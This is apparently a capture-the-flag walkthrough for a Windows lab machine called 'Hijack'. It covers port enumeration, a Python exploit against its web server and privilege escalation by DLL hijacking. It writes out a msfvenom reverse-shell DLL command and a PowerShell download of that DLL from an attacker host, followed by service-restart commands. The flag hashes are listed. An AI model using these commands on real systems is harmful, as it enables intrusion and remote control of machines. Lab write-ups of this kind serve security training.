Info

  • Name – Hijack
  • IP Address – 172.31.1.27

Enumeration

Open Ports

PortProtocolServiceVersion
67udpfiltereddhcps
69udpfilteredtftp
80tcphttpApache httpd 2.4.37
123udpfilteredntp
135tcpmsrpcMicrosoft Windows RPC
135udpfilteredmsrpc
137udpnetbios-nsMicrosoft Windows netbios-ns
138udpfilterednetbios-dgm
139tcpnetbios-ssnMicrosoft Windows netbios-ssn
139udpfilterednetbios-ssn
443tcphttpApache httpd 2.4.37
445tcpmicrosoft-ds
500udpfilteredisakmp
520udpfilteredroute
631udpfilteredipp
3306tcpmysqlMariaDB
3389tcpms-wbt-serverMicrosoft Terminal Services
4500udpfilterednat-t-ike
5985tcphttpMicrosoft HTTPAPI httpd 2.0
47001tcphttpMicrosoft HTTPAPI httpd 2.0
49664tcpmsrpcMicrosoft Windows RPC
49665tcpmsrpcMicrosoft Windows RPC
49666tcpmsrpcMicrosoft Windows RPC
49667tcpmsrpcMicrosoft Windows RPC
49668tcpmsrpcMicrosoft Windows RPC
49669tcpmsrpcMicrosoft Windows RPC
49672tcpmsrpcMicrosoft Windows RPC

Exploitation

Exploit Details (Github)

python3 exploit.py http://$ip
whoami
type C:\Users\jack\Desktop\access.txt

Privilege Escalation

Exploit Details (DLL Hijackk)

  • Name – DLL Hijack
  • CVE – N/A
  • Module – N/A
  • Disclosed – N/A
  • References
    • N/A

The hijack service is vulnerable to DLL hijack.

Create a payload.

msfvenom -p windows/x64/shell_reverse_tcp LHOST=$lhost LPORT=53 -f dll -o /root/share/hijackme.dll

Download the payload, copy to the target location and then stop and start the service.

Invoke-WebRequest http://10.10.0.15/hijackme.dll -OutFile hijackme.dll
copy hijackme.dll "C:\Program Files\Hijack\Libraries\Custom.dll"
net stop hijack
net start hijack

Catch the reverse shell and read the system.txt file.

whoami
type C:\Users\Administrator\Desktop\system.txt

Loot

access.txt - f7beb3cc769e0b70c750eab32e3e3c91
system.txt - eaaaed85d047342ef6ac0b2248e9e599